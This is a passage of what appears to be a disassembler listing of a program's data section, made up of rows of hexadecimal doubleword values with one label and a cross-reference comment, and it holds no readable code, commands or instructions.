dd 78F5BCF3h, 2CFCD392h, 632DF267h, 0FF425609h, 0ED0ECF0Dh
dd 0FF080707h, 4884C909h, 13E4F229h, 0DFD11FFh, 681917FFh
dd 581BFFF3h, 1EE9DD67h
dd 13FF23F4h, 2F4E53FBh, 6F29CF7Ch, 0A0322BFFh, 340B4AF8h
dd 1D5530DAh, 5F7A33BCh, 0CF4D8E4Ah, 0BF839B8Dh, 4CA40F33h
dd 50FF3206h, 7017DDA2h, 56B5BEA9h, 0D3B64BFFh, 0A37A19FBh
dd 74D87261h, 972F45A9h, 0FF6A6968h, 4A09E1D6h, 7270986Bh
dd 0AB7473FFh, 855C33F9h, 0F78FF08h, 82940E7Ch, 6BEBFB66h
dd 7C338585h, 0AFEE043Dh, 8F79842Fh, 0B3DD6F7Bh, 628DEE1Fh
dd 7299FF11h, 9E9D9C9Ah, 0C5FF2D7Dh, 0A74FA786h, 0C06963C0h
dd 338FAA5Ah, 0CDD63CB0h, 2F4AB097h, 0FFC22994h, 0C5AAEBEEh
dd 2EC43603h, 0C0CBC48Dh, 11ADC822h, 5F85FFFFh, 0D4261334h
dd 88FFD53Eh, 0D831B0CBh, 0FFCBF24Ah, 0E2E3E0B7h, 0E6E40CE3h
dd 0B2E8E7FFh, 11C8AF65h, 83EDFF05h, 9F01992h, 87FF3348h
dd 14FB88FBh, 0C6FE0E3Dh, 0FF950389h, 7F067C03h, 0C0E17006h
dd 33BF0B0Bh, 355480B3h, 0FF4616EEh, 1BFC16E4h, 0AB191FD4h
dd 1E7A8662h, 84365125h, 0FFEB2D25h, 566DA925h, 0E82C5128h
dd 70155189h, 58BF7533h, 6AC70C9Ah, 3DD3DBC2h, 87853FFFh
dd 4067FF74h, 484747ADh, 0C4FAE149h, 0A4B26908h, 2D413117h
dd 56A395FFh, 9B59AB96h, 155C83AFh, 39349D7Dh, 65995B8Ah
dd 0E73D66EAh, 8497BF5Eh, 70FF176Ch, 505D0BA7h, 759D71FFh
dd 7A9259B5h, 7E7DFF7Ch, 0A6C50F5Bh, 87FF6F7Fh, 8B630A32h
dd 0FFF4A1BAh, 0EA8EF78Eh, 94939379h, 1AB995FFh, 189EBDFCh
dd 5F62C654h, 0A04AE354h, 0A74D785Bh, 38FF5AA7h, 0AAFF850Dh
dd 0B2B1B147h, 0FF3A8FB3h, 0C74493F2h, 0C1BDC4B9h, 0C0487FFEh
dd 0CECCC02Ah, 0A0C8FFDFh, 0DFFF9DE0h, 0C989C4AAh, 0FFD22611h
dd 1ADAD738h, 0DAD830DDh, 1EDCDBFFh, 1DC49B51h, 93E0A909h
dd 0EA0CF87Eh, 0FF1795E6h, 2EED92AFh, 0FFFFF104h, 91862CC6h
dd 0FBA4B679h, 0FD16DCFFh, 70899999h, 477FE00h, 8E0AEC44h
dd 90FF319Dh, 0B70A9A6Fh, 0FF2605B8h, 275E2759h, 572A5464h
dd 47672AF8h, 0FFDD760Eh, 0FFBFD533h, 3AD36BC8h, 0E42CFF97h
dd 0A4303CD6h, 35FF41AAh, 45AD324Dh, 0FCA18D47h, 0E3453048h
dd 334B51A7h, 0D838FF53h, 0DA5C7332h, 0B4CB239Dh, 21EA605Ch
dd 0B25027EDh, 9329FF8Ch, 0AD145686h, 73826F6Ah, 7DFF9538h
dd 80F8228Fh, 0FF0E84FFh, 8A89896Fh, 0EA00138Bh, 7A94ABFFh
dd 0FC9F9C90h, 71DBA157h, 7E30E57Fh, 169E7623h, 92A2FE33h
dd 5B82E12Bh, 0DA560D2Dh, 637E338Bh, 0B2B0588Fh, 0F339585Fh
dd 1145899Ch, 63E39F71h, 233F8233h, 34FF8ECAh, 0C0CC26D2h
dd 469958CFh, 0D6D4FF33h, 55D5D8D7h, 21F8FF9Fh, 0E1E0DE36h
dd 6BFFAEE2h, 31BC2A1h, 0FFD1E5EBh, 0EFEEEC04h, 977F29F0h
dd 1EF1D0F4h, 0FA136EF6h, 8517AD87h, 2F1FBDAh, 8CF0027Fh
dd 71FFDBFFh, 0AD136E13h, 0FF0594A5h, 1A1919FFh, 7A90711Bh
dd 0CA243BFEh, 0C7668621h, 3D9CFF91h, 0FC325B0Bh, 37BD36D8h
dd 9A4BCFF6h, 8425FF38h, 32434D0Dh, 0FCFFF743h, 48074741h
dd 0D44B4BA1h, 41BE4D4Ch, 0B8AE7514h, 2AEDD485h, 1BC85ABCh
dd 0D6A552A6h, 75D1FFFFh, 8D6593A2h, 49FFA565h, 4785BB03h
dd 0FF599CE5h, 24727A21h, 6C377F65h, 5F2A50E2h, 0B5E6335Ch
dd 5CA34FB8h, 0BFFF5AFFh, 8E671185h, 6A7EFECDh, 95E291E1h
dd 0FF338513h, 99714D97h, 5F1DBD51h, 654388FEh, 0ADEDA748h
dd 0AAA86337h, 8BACABDBh, 4D94F4EBh, 332FB25Ah, 0FF3527B6h
dd 57BF9EDDh, 19F73BFh, 8CC233C5h, 0CFF2433h, 8A41CF3Eh
dd 178C8CFCh, 1D2B00E9h, 39063673h, 98626C0h, 2FB76427h
dd 71C5008h, 9313C1D1h, 2D03BD64h, 0CB9FFh, 0FBA0040h
dd 0BFB80BC0h, 0FF51FA75h, 1D6EBED0h, 5FABC887h, 3D6BDE60h
dd 90760344h, 0A64C2D05h, 7830E408h, 0D0032E6Dh, 0DE033E06h
dd 12321102h, 7103CFh, 0DB7B024h, 5607D962h, 0D0BA5805h
dd 0B28C4A17h, 18CF06B0h, 6D064E93h, 34EF424Dh, 46BBEA9h
dd 3E450046h, 490309Eh, 8261FD02h, 4148C8Ah, 0DD3C1B48h
dd 0DA009EE8h, 0DFA8552Eh, 5616798Bh, 79A58155h, 6969467Ah
dd 6D55AE37h, 0A6EFACFDh, 0BC6A6B52h, 0AEF9F500h, 19097A6Bh
dd 6C55FDD0h, 3B91CA9h, 79758A37h, 6A822F1Bh, 38FF55BEh
dd 5536A2EAh, 0DBBFD49Ch, 87332855h, 4931BDBh, 86DCCBD7h
dd 17EFD9DDh, 8D03B525h, 45932E3Bh, 0C1097F4Fh, 0C630855h
dd 0CEF7F7A5h, 5D4A6E8Eh, 0FF2F03E4h, 0E46A602Bh, 3B6BE56Dh
dd 574E3D6Fh, 42DCB705h, 0DFFBA26Bh, 0A2255388h, 40587D25h
dd 1F539D68h, 595B957Dh, 0D5BCDF32h, 5D5C2868h, 0FFEEFAAFh
dd 0EFBFE8E0h, 5C02BCDh, 7F36E8D5h, 570D9852h, 6B9B3005h
dd 7817581Dh, 2159036Ah, 14878F4h, 4B95558Fh, 0F3E2AF6Bh
dd 8FF6AFABh, 0ABFEBBEAh, 0A50A765Fh, 7C30F191h, 0E92DD3CEh
dd 89068D30h, 89FD4E08h, 0F0F7C200h, 41A358C1h, 0F4B2EBAAh
dd 8945E887h, 0A37F00DEh, 0ACA3D1A3h, 0BAAFFEAAh, 0B2AFBDADh
dd 20ABABFFh, 0AFDE8D18h, 2000020h, 6D2D0040h, 2B8104B5h
dd 1144284Fh, 6F022A0Ch, 3F690378h, 605719CEh, 97B60EACh
dd 4103BDDBh, 8B118FB1h, 2C14DBBAh, 6E7C2BA8h, 2DF605BAh
dd 5471560Fh, 67B46293h, 0A4B17271h, 52359E0Dh, 84EE0AC6h
dd 93FB45D4h, 7703189Ah, 5B3BE932h, 0C38C765Ch, 0FF0DEF00h
dd 1EAC3C3h, 0B92A990Eh, 0D14B05BFh, 0FFB535h, 59CE08BFh
dd 0CB7B8A56h, 0B7990F23h, 269170Eh, 0DE0858B7h, 8E00EE49h
dd 40FB1BB7h, 0AEAAF2AEh, 0B7BABD29h, 0DBB0054h, 0B70A5EAAh
dd 0DD3090F1h, 0EC8309C2h, 62FFE63h, 7E1F8873h, 94FF88ECh
dd 58EFEFF6h, 57FF8E63h, 0DBB7E7FFh, 0A2A2FEFEh, 0B0A2FFD0h
dd 0B9BBB5AAh, 3C77E7FEh, 0FB8EEDFFh, 0C0FB2343h, 99B66FF1h
dd 31EE0317h, 5BFD33E8h, 0FF8B02EAh, 0CC08BFEEh, 0A4948C1Fh
dd 792220B7h, 7AFF02h, 0FFF2C0D4h, 0C802026Fh, 21F04DDh
dd 8C730375h, 2DEDB03Ch, 19967DEEh, 67A8F212h, 58D80231h
dd 0B66EC818h, 1CDE7813h, 0DE5C8B9Ch, 5CA52004h, 0F45217C4h
dd 4F0323EFh, 0C31CE6B7h, 2B1263F3h, 10432F3Fh, 5BDDFE83h
dd 5EDBE527h, 0DD6604A7h, 0AB3AFC6Fh, 7BF11D63h, 1D1B0948h
dd 5B1CDB27h, 0E518BD8h, 331889D9h, 0C251D837h, 6B190EEh
dd 7161A67Eh, 741A8014h, 29332DD8h, 570160FEh, 0C2FECBC8h
dd 7E027Dh, 5D31C676h, 0EA9DB6CFh, 67A2C567h, 0BEBACEACh
dd 16DE8175h, 0DE632275h, 0AAC09904h, 0BCE0962Dh, 0BFD0C279h
dd 73FE31BFh, 0B1DABA6Fh, 989F0902h, 0BFDBFC13h, 9731034Ch
dd 0EE4DEFDEh, 6FE0A3Dh, 3ED316EEh, 1612EE05h, 86F22C8h
dd 0F2A7D641h, 0EEDA8273h, 178116EDh, 0A5FB94EDh, 9601FB08h
dd 1B466FFDh, 0B4FBDBEh, 29EE4F53h, 0EDA94635h, 0DB9F534Dh
dd 306D7E0Ah, 0F6093BEEh, 0CEFF9A08h, 59753706h, 0FE755FFEh
dd 0EF0E0717h, 0FE6F9A58h, 3B16BAA6h, 0A80C7FEh, 0DA9AED71h
dd 0BAEC99FAh, 670E5A14h, 46096379h, 0FB84997Fh, 95FDDD83h
dd 216F8F3Ch, 76549B0Dh, 0EB006078h, 7703EB0Dh, 5B072813h
dd 0DA8D1576h, 0DB040F6Eh, 0F6BED36Ch, 1C541F15h, 1AFC8C48h
dd 1A03DCB2h, 87B55B64h, 3DE8FDF7h, 76D8D607h, 0A1B2C91Dh
dd 362B7E02h, 0FDFDFB15h, 9BE984E0h, 275803FEh, 0AF609BEFh
dd 98FC036Fh, 0FE08FC3Dh, 5266971h, 0A515522Eh, 0D3D28EEh
dd 8023FFFEh, 0BDFD7FFBh, 4D8C086Ch, 7EB69EF3h, 2BD81A86h
dd 3DEC833Eh, 68E1860Ch
dd 6D59365Ch, 0F246CB03h, 19A5B188h, 0EFFBA593h, 667AEFC4h
dd 0FB8AB50Fh, 0CDA6F42Dh, 0E6BB1135h, 6324F215h, 0E6F0B89h
dd 0B7A862FBh, 374404A7h, 0BAFE1DF6h, 0DDC382EDh, 0A72932DAh
dd 25B75916h, 0FF5B5B25h, 44515B2Dh, 43575546h, 80E0356Ch
dd 8B15B51Fh, 9CDF2673h, 8910DEF0h, 21DF7B82h, 93DC724h
dd 5DB00B77h, 0B8400F4Dh, 0A1157DD4h, 0B2AE0616h, 2C270826h
dd 0E2B16CC8h, 0E2ECFB9Fh, 48046F51h, 0D6E0CAEh, 221F7D19h
dd 0A3BA1C79h, 26C6FBE1h, 7C33774Dh, 0FD81FB82h, 0BF1125ABh
dd 0C2DF6F03h, 10B49713h, 0F937457Ch, 6342B230h, 3C1FCC0Eh
dd 0B87E009Dh, 4785A7EFh, 4AFD85EEh, 0AB11B708h, 45FDFB09h
dd 0FD8BFB8Ch, 0BC2D8C67h, 0C2468767h, 0EDF0A587h, 0F00FD9C3h
dd 0FF000F15h, 0FE0DA20h, 65CA3FADh, 1EBE0CDh, 6EC0ACB9h
dd 8BBA0D5Bh, 385D1103h, 0AC20C0B5h, 0AB6B30FBh, 2C63B09h
dd 0D8090F6Dh, 0BF069B73h, 678E6D43h, 0DBBA6507h, 1E099B03h
dd 9006BF0Dh, 0CBCE2CD0h, 7F09FBA1h, 8D3DF135h, 71FF3E00h
dd 33F7AADCh, 0FF873A63h, 0E8813C34h, 0CABCE9AFh, 0BEF3CCFFh
dd 65206C01h, 6BE7FFC4h, 0D464150Bh, 0F4FFC14Ah, 5C187A38h
dd 0FE394141h, 110E7773h, 85D0CB10h, 8B73FF7Ah, 0CB145024h
dd 1AFF05FCh, 1D3EE79Ch, 0FF7ACDFDh, 0C4189C07h, 320FC5D4h
dd 0E73BF4FFh, 6C1FEA74h, 0FFBB56E2h, 2BAE9AE1h, 0FF68E3E8h
dd 0C29C3109h, 5C384F26h, 0CE5876FFh, 683D1DFDh, 34DDED03h
dd 49FE3FF5h, 0F7949ACh, 0E897D025h, 74859AF8h, 8C04FFFDh
dd 0A2769411h, 65FE3EF8h, 0F0A89D41h, 74DFE781h, 1525137Dh
dd 87CCEDF5h, 0CF1E2FBDh, 3F6F0881h, 0FF04F165h, 72653418h
dd 3F08BC9Ch, 84F60EFFh, 32036F13h, 2212FF25h, 0CEA2BA49h
dd 10E5F910h, 1DFF7581h, 9ED45A45h, 0FFC3DF3Ch, 1C8BD265h
dd 0AFB57F0Ah, 7F09EAABh, 0AEF3DC9Ch, 0E9EC0AA4h, 677F0791h
dd 0B5C3E5A4h, 92FFFFFEh, 0E41D7426h, 0FFF2B8Fh, 5ADC8A73h
dd 0FFF5E2B9h, 0E7684AFh, 1D000857h, 23DBA9FFh, 0AD85E1F6h
dd 28FEFF9Eh, 0EA42E7EAh, 58FF859Eh, 84E1F2D9h, 0FF53451Fh
dd 1C04A42Bh, 344D609Fh, 7A39DCFAh, 0DD97CD70h, 70FF2381h
dd 9FC81284h, 0FD1E3CB9h, 0B012730Ah, 7C1B44F1h, 0AA35FF33h
dd 0B50162C8h, 38FF7A71h, 26EF08F4h, 0D1F335C0h, 0D1BFEA83h
dd 0BFE0860Ah, 83E4F0DCh, 4ABFA2C0h, 9E1C284Dh, 0A882E18Fh
dd 707F3FF5h, 61618C0Fh, 0D1F4FFFBh, 0CEE1E1DCh, 0A6FF0F3Ah
dd 0D25E7315h, 6F10EAA1h, 85DCC7Fh, 0FC9FFFFh, 0DA033A65h
dd 0ECC5FF4Dh, 0E96B696Ah, 3F6F0AE5h, 0FF0011AEh, 0EA0A4675h
dd 0F316F478h, 0E26933F8h, 0BA5FC24Dh, 0FE4073ECh, 0F6FEC2FFh
dd 0F9118174h, 27CEFFE0h, 0BACCC9Eh, 59FFD1B2h, 7709B5FAh
dd 0FEAF3E70h, 7C5B8FFFh, 36AB6847h, 0FFDDDFBCh, 74BC074Dh
dd 2FA2F52Eh, 92875380h, 5D33E8FFh, 4B327F83h, 0AB32FDC1h
dd 82421CF7h, 281CFF8Fh, 0DC1DFF54h, 89843D42h, 3CEDFA9Fh
dd 0FFBFE405h, 28458AAEh, 984EF220h, 0F43962FFh, 29CC62C0h
dd 842CFF95h, 205AC759h, 0F1DB4970h, 0B772FF31h, 7C8F4A37h
dd 0D7DFBF68h, 9A05F6ABh, 0CCF5BFFh, 74F0FE8Eh, 6C13FC0Bh
dd 12B03DE1h, 85BE361Bh, 0C6FC3FCCh, 34778430h, 0CFE44B11h
dd 0F99A3DFFh, 0B723C0E8h, 80AB4B9Ch, 0FFFEBF0Bh, 0F505E8ACh
dd 3F51E3DCh, 14C8A6DBh, 0D13F6E08h, 17B84E9Ah, 0FFDB020Ch
dd 0E2E418F3h, 89F75A9Bh, 7FA5888Bh, 345D6D5Eh, 855C9Dh
dd 5FFDFDBFh, 0F85CDEFDh, 77E6BFBFh, 0FFDB0C9Bh, 3FB4C6D2h
dd 6300E36Fh, 908751FFh, 83D21EE8h, 183DFFD8h, 0F5316532h
dd 66A13B36h, 0DD1F7F7Bh, 0F49C5F7Dh, 0B6FFF912h, 88880F3Bh
dd 12FAC9B7h, 9C84F504h, 17543F96h, 0FF74043Fh, 0D6093B65h
dd 269FADA8h, 0CFA889FFh, 841FE7C5h, 557EFFEBh, 0EA918805h
dd 6CFDE837h, 0C29DD7F0h, 477FBF62h, 5ED05BD8h, 0C08896FFh
dd 0FCFB9966h, 5E8CFCF7h, 0E4EB8AFAh, 0FBC97F77h, 383FE9Bh
dd 0BEBE9A28h, 0C17F1770h, 0C5D2F9E0h, 7FCE320Dh, 87950DD3h
dd 97C2F258h, 0EED184CCh, 9F573BFh, 0C6522544h, 0E8FFC012h
dd 0DD5F9865h, 5F5F0DD7h, 7B1F9BFFh, 8423D1CBh, 12FAFF43h
dd 0E4D5CFADh, 94F16612h, 2F2C3FEAh, 0F27A66BDh, 62C10CFEh
dd 82685C2h, 7FD4FFD0h, 6F3FFEA6h, 3112F621h, 0EF2AF9BFh
dd 7F3C1824h, 3E05C7DCh, 99FF74FFh, 0F244861Bh, 8579D03Eh
dd 9BFD7F88h, 84D02400h, 0EA3FB8A0h, 753FC71Dh, 0C006FFF1h
dd 0E774C92Dh, 3F49DD85h, 4BACB8F4h, 0A6B786Fh, 0AD09FF40h
dd 0C3148D64h, 0D9FE94BEh, 12879E8h, 0BFDF2283h, 0FAA4D0B5h
dd 0C9CF8BFFh, 70E3449Dh, 0EC88FD11h, 0C01EB602h, 0E9D03F8Ch
dd 0EEE6193Fh, 0CAFF7FA4h, 2A7A82D2h, 8C71C487h, 9067BF8Fh
dd 57FD3F18h, 13ACEC9Ch, 7F84FFD3h, 0E62FC8EBh, 0FF796EC8h
dd 2FC2DF37h, 0D53387E2h, 673FA084h, 0E807DBEFh, 0EDC5804Ah
dd 6662B1BEh, 0E88BBF8Ch, 0E410865Fh, 0A9D331E3h, 51FF3F28h
dd 9910B188h, 26FFFC74h, 6FCCFB00h, 0FB6B3BF0h, 9DAA5FC1h
dd 157FFF31h, 88434B51h, 0BFF2B7C9h, 76FEAF84h, 0C97C0B08h
dd 0D8979C28h, 0C30BF53Dh, 8088D872h, 88BAFCFFh, 2336F224h
dd 773F88FFh, 3F5DF18Fh, 37C9FE59h, 0C34ABFF3h, 333FDF9Ch
dd 850B2874h, 6FC2FF23h, 0ECC77F33h, 8CFB70CAh, 0C0BFDD19h
dd 0FFBFC7E3h, 0C20E8C9h, 3F978172h, 77E1727Fh, 0FFA01125h
dd 46FA3A12h, 0E61172E3h, 6EFD3F18h, 0F05CBEFFh, 9D37226Fh
dd 973F0C01h, 91A163FFh, 0D2EAFF82h, 306C0CA2h, 6386AACCh
dd 0FFA6FABFh, 67192111h, 73D63F3Fh, 637AFF3Fh, 53D1AC91h
dd 1145FCFAh, 0AE3E7877h, 0DACEBF6Fh, 0C0E6FFF9h, 0F2BC4BC6h
dd 65EA80FCh, 225066C7h, 0E4B4BF9Fh, 8183F05Fh, 7FBFBB32h
dd 7C23C573h, 0E5EDE93Dh, 747A3F1Eh, 0AFDF9FA9h, 94C7CAh
dd 8FBFDEB7h, 0BFF9ACD1h, 318A057Fh, 0FFAE7E94h, 966337F7h
dd 6B08275Dh, 0D659EAF6h, 6BE7BF91h, 0BF148D06h, 5886ECABh
dd 0B122CF7Fh, 9AE902F1h, 7FFA127h, 9DFFBF42h, 0E3B98025h
dd 0C1B191EEh, 0FFD78FBFh, 0FF35220Bh, 36171D9Dh, 2257E62Eh
dd 19E2F5EBh, 0A7687A3Fh, 804858C4h, 51C03FDFh, 0F0B2E4A6h
dd 9DF77F7Fh, 22D2045Dh, 0FDFF108Dh, 245D240Fh, 0FF630C1Dh
dd 0FEC223C9h, 40E4B271h, 15EA368Dh, 0F03F6EB4h, 0E53FDF4Fh
dd 0FE853298h, 34F380D9h, 378680B3h, 4D4F9BFFh, 3F1DEDBFh
dd 0FFCE859Dh, 0BF3A0ED2h, 2BD094F0h, 0B9DDFF37h, 0AE02FFE4h
dd 72B8C31Eh, 6A835E89h, 42C3757Dh, 0DF0F3FB1h, 0F48594F4h
dd 7F0221FDh, 24B7D9F1h, 0B3173FBEh, 240DC587h, 7DAAAFFCh
dd 0BF2CEE3h, 94ADCC7Fh, 9308F5FFh, 0DE6F308Fh, 0F0BF1713h
dd 582EF97h, 28FFFFBFh, 5BEF0C1Fh, 14A5057Fh, 0EAD1D2BFh
dd 784F32FFh, 4AE6E993h, 293CFFBFh, 0B5C48626h, 7F7AB729h
dd 0A3FF3DCAh, 91FF4D8Bh, 0E1CF17F2h, 0FF449149h, 0BFB13F97h
dd 0B45CB2FFh, 0B4B5349Eh, 9283E362h, 531FBF31h, 85154511h
dd 2EC03FF5h, 5A3FFD54h, 0FF6FCEEBh, 0F565C103h, 87FFA273h
dd 53BB3FBCh, 455C2F73h, 0FEFE3Bh, 913B888Bh, 7F3BFAC8h
dd 61F8CC0Fh, 7B58C921h, 29C0FFDFh, 55FDE051h, 472E404h
dd 0F7FFD6D7h, 18F6EB7Fh, 4FF67C4Ah, 0FF0B32F0h, 8353FA62h
dd 0C66C9E7Ch, 0FF0791FFh
dd 0C003BF03h, 41DC1160h, 0FF6EE113h, 0BFDD1F41h, 3F8FEDCAh
dd 0E3004F70h, 0F4680C55h, 6E691FBFh
dword_4B8158 dd 6E51555h, 3E8ABBFFh, 0C075FF97h, 0F4B623BEh, 0D3EF7D23h
; DATA XREF: sub_410430+26Fo
dd 0F0FF163Ch, 0D7E2089Ch, 8970BF36h, 93CEBFDFh, 0BDA97486h
dd 9B3F7898h, 473F5C3Fh, 0DD7F2F58h, 32A68446h, 76B3FFFFh
dd 0DCDDA863h, 0F7FEB0F4h, 60C75F42h, 0FFB7B181h, 24FFECDAh
dd 73EE387Fh, 6E90FE42h, 0DB412BFh, 5BE3A334h, 7E3FC86Ch
dd 0BD5488CAh, 0A33FBB70h, 2E73FFB8h, 65ABAEBDh, 3D852819h
dd 0C627FFFFh, 15121D2h, 5AE1F469h, 1F3FA485h, 86062B40h
dd 7EBFBCA4h, 23A1AA76h, 7FB14678h, 0E1E0BEFBh, 0FA7F1186h
dd 0F161AA09h, 65BFFD74h, 74BF3BAAh, 8C0920B4h, 0FFEC2E7Fh
dd 9C81397Eh, 0EB46749Eh, 2A6CFF0Ch, 0D6ACE4BFh, 719AFD7Fh
dd 0BC18233Dh, 3464F47Fh, 27C97F23h, 59713727h, 0C292CBF2h
dd 0F058FFC1h, 2FFE4473h, 75C4E700h, 9374BF99h, 8C339E5Bh
dd 8FB83F0Bh, 5FFE3F10h, 0E5A1B801h, 7FB770CEh, 0A6FF4FE3h
dd 0B1C98E6h, 0F8E75A4Fh, 0E2FD225Fh, 9C7F5F9Ah, 898474A9h
dd 151F7F3Ah, 855C584Dh, 7BC6FF7Eh, 41FE7F5Fh, 5BFBFBB9h
dd 9CBF3152h, 0CE3F1B29h, 7540B0FEh, 0E17BE9D0h, 4C7A3F17h
dd 0C9E03D12h, 0EC3F6D77h, 747F2EA4h, 0D89B95F3h, 3A9A8F0Ah
dd 7FB1A23Fh, 7F0D469Ch, 0CD36F4DCh, 3E2E830Ah, 3F97AD10h
dd 0CDFD2B97h, 0E0F2025Fh, 0AAFF63B6h, 0F682F33Fh, 0E31E6AA5h
dd 0FFAB6638h, 0F3ABDB7Fh, 13DFAF4Fh, 0C3DAFC3Fh, 58FF396Dh
dd 0C80ECF7Fh, 0C2BFCF85h, 0E1110188h, 193FE4F2h, 283BFFB4h
dd 0C263A8F4h, 81D47F5Bh, 0FE84740Dh, 6DA24F7Fh, 9F3F3721h
dd 27C9E06Eh, 0BF7F749Ch, 0BE747F7Fh, 0EAFF3D11h, 70190377h
dd 0FE3AC4A1h, 0EF0B2D02h, 0B7E3483Dh, 6F35974Dh, 0CDFE0507h
dd 8108FF6Fh, 0C686C324h, 0B4A8FE7Fh, 0E18507E7h, 0EC46BF05h
dd 0C00B63F4h, 27FD3FDFh, 0F064558Ah, 48893ADFh, 67513F6Fh
dd 9A5CC2DBh, 18E0FF3Fh, 84AC53C9h, 453DFE85h, 8AD1C8E1h
dd 0FBFF1A74h, 9A533F3Eh, 7F97AF3Fh, 0F46E478Fh, 0BF11C824h
dd 28636492h, 0FFB8FDBFh, 7FBF282Ch, 633B006Fh, 5A62C295h
dd 0FFB531BFh, 9A407B3Fh, 0FF13EEFEh, 0C8BFC458h, 0D7B27CB8h
dd 0FFBF0884h, 0E6E0C04Fh, 0F779CF5Eh, 0CC6F75ABh, 69C07CBFh
dd 6FFAF899h, 17FE3A3Fh, 3633CCE1h, 0DD0D6A3Fh, 9FF5356Dh
dd 483E7BFh, 5DBE86E0h, 0FF6ABFD0h, 0EB583417h, 5C3703F0h
dd 41765DE1h, 0B603096Fh, 6E9850E5h, 57A27C27h, 5AC55790h
dd 7D5B23D5h, 46876B03h, 56640BB1h, 4D0FED4Dh, 84FDEF0Ch
dd 0D444182Bh, 18064EFBh, 0ED84B120h, 546C75CBh, 21DC02E8h
dd 8446CE0Eh, 0B1F3860Ah, 0EB822311h, 39C31EC7h, 2B1B1D77h
dd 0E3044D2h, 4EF26684h, 8E1B79DBh, 84CA5F3Ch, 73323AC9h
dd 0EAC330B6h, 0C4850509h, 9B890663h, 0F7896C22h, 0F2F71412h
dd 396E2858h, 21CCFEE8h, 0B6B91F46h, 0A9F0BAB3h, 5CFFBBA7h
dd 29D9CEC1h, 7A38A923h, 1163B286h, 41986794h, 0F2C5F688h
dd 95A8FD05h, 0ABD253Bh, 0FB0A1BB9h, 0C4A1489Eh, 601DE4ECh
dd 0E8EDB078h, 1ADC84EDh, 0C47A9350h, 162C87DBh, 0FA1F4232h
dd 0F4C1C8D1h, 8516084h, 631BA819h, 0C8689E2h, 4C08C40Bh
dd 11DC3D2Dh, 0FEC7B80h, 0BE6A0D33h, 40E2D411h, 12111B2Dh
dd 0C9489D10h, 0EA8933CDh, 3E003252h, 1BC69D1Ch, 8880C92Fh
dd 0D81F43A2h, 0D5100C0Fh, 0DF0526BCh, 0B9717010h, 0BA02B825h
dd 0FF0DDA2Eh, 12C63AFBh, 4C87A475h, 0A8C08881h, 46C25C74h
dd 2BC23D18h, 0C605D0DBh, 90978B83h, 57C27202h, 4242D70Eh
dd 0AAB9E3E4h, 8B1E309Ah, 6335BDCh, 4323891Dh, 1B897DE2h
dd 0C3F3F7CDh, 5BAD3A58h, 9A6DEE85h, 0C0B11497h, 15C89D7Ch
dd 0F203DF8Fh, 924BE33h, 6D1CEB4Eh, 3B7FA203h, 0DDC0D35Dh
dd 250BCEE2h, 9FC92BC2h, 70F2942Ch, 0B0250EE5h, 0E075C841h
dd 4D97045Ch, 945F3033h, 8F2B413Bh, 21891C06h, 98952DFh
dd 0F1B9F72Ah, 194BF58h, 0ED667D59h, 0B38799FFh, 4817A2A1h
dd 5F5FF00h, 10A63C2Ah, 1BFF7354h, 0ECEC8D78h, 0FFF2F0CDh
dd 0AD0FFD75h, 758370C3h, 9C10D4FFh, 77ABCC20h, 58CBFF27h
dd 5D137C1Dh, 43FF0BEEh, 6CC61624h, 0FF99EAE7h, 630ED4EFh
dd 0AE8F897Ah, 0D185A0FFh, 24721C83h, 0EE35FFDFh, 0F9802B5Fh
dd 50FFAD59h, 4B99C261h, 0FFCCF2C6h, 276283CBh, 5EFD62ADh
dd 0FBBD09FFh, 6164CD16h, 77ADFF32h, 7DE9BDF9h, 0DEFFFCC4h
dd 0CC61724h, 0FF7B87D1h, 78AD300Dh, 3A5FBE63h, 4B8699FFh
dd 2415AB42h, 23D7FFE0h, 2E881E48h, 0FDF7E242h, 3FCDAB96h
dd 8393D47Fh, 4CE28F63h, 27409AFFh, 8D1BDCDBh, 0F176FFB4h
dd 0BCF957D7h, 5E5482Bh, 84FFFED7h, 0AE78A7A1h, 972171D8h
dd 6F1FD40Ah, 0A2874BBFh, 0C99E16FFh, 77DD00Ch, 77DBFFBDh
dd 0E04332CBh, 240A2DB7h, 8165BFDCh, 0C6FBC6B3h, 7FE0992Dh
dd 37BFB70Dh, 5A7FBF3Fh, 3FDDB7BDh, 93350D3Ch, 0CDE0FFD2h
dd 70FFB7C2h, 8DC067F1h, 0FEDBDB1Dh, 4C5C8209h, 47818FC4h
dd 81E7CC1Fh, 0CD4306Dh, 0DEEEBF5Dh, 6CB708FAh, 0CE52E8EDh
dd 0BFB3D97Fh, 0FB3F873Fh, 0F9CBFE06h, 853F7F5Dh, 0B72CB7B7h
dd 0B8403FEAh, 16B77423h, 52B73ABFh, 3FAFDD2Bh, 6C1DDBA6h
dd 9127ED7Fh, 0BE5ADEFFh, 70A796B4h, 0F53F6EFCh, 7F9E7068h
dd 167F645Eh, 0C227BDDDh, 0EC7C995Eh, 9EBF61B6h, 0D42EF31h
dd 0FF3CB746h, 7F0EAD20h, 98897FC7h, 6FAC39FFh, 0FFECB0D8h
dd 3FA98642h, 0D45B19CBh, 673F7497h, 0F8CEABF6h, 0C33F7FFBh
dd 82994C29h, 0DBE6C8E1h, 3FCF6D7Fh, 4FCEC91h, 943BC96Fh
dd 1EBF2C17h, 0DBDC3CB9h, 6F8523Fh, 0DB24B96Ch, 9E893F4Fh
dd 0DC228D3Eh, 22D808FFh, 973FDF7Fh, 50DB2B80h, 8D062B61h
dd 0F06FA04h, 89240C01h, 661E0078h, 0C8A05858h, 306ABE58h
dd 5AC2A059h, 0A80B6427h, 0AF003219h, 25B9890Fh, 8684411Bh
dd 0E68380Fh, 84850FFDh, 41000021h, 800E8D81h, 0D519CEE9h
dd 7CA76977h, 8012D0B1h, 0ECD590B0h, 47EF6BF6h, 805D723h
dd 8B667EABh, 0C2D30650h, 0C41005DBh, 80051E00h, 5830F900h
dd 0A805C36Dh, 23D23018h, 18DA2BD4h, 0FFE11D1h, 0F707FBBAh
dd 2DA21EDBh, 42FFDC00h, 6CE41942h, 2C286009h, 0F7880E17h
dd 6EFCFE17h, 0F853DB1Bh, 0A5C5A804h, 9761AA1Bh, 0F7004BE1h
dd 5BF685F3h, 0B8D57B0Ch, 7F260848h, 5034C681h, 6F504F0Dh
dd 0BE0F6A32h, 0BE850BC0h, 2AFF1B1Eh, 7F7F8AC8h, 0F25FDEBCh
dd 0F7E981FDh, 0DD689399h, 0C832333Ch, 93C70CB8h, 0C8AE180Bh
dd 0EA2B63Ah, 927E72Bh, 0B883F77h, 0F3077F05h, 0DEF7F343h
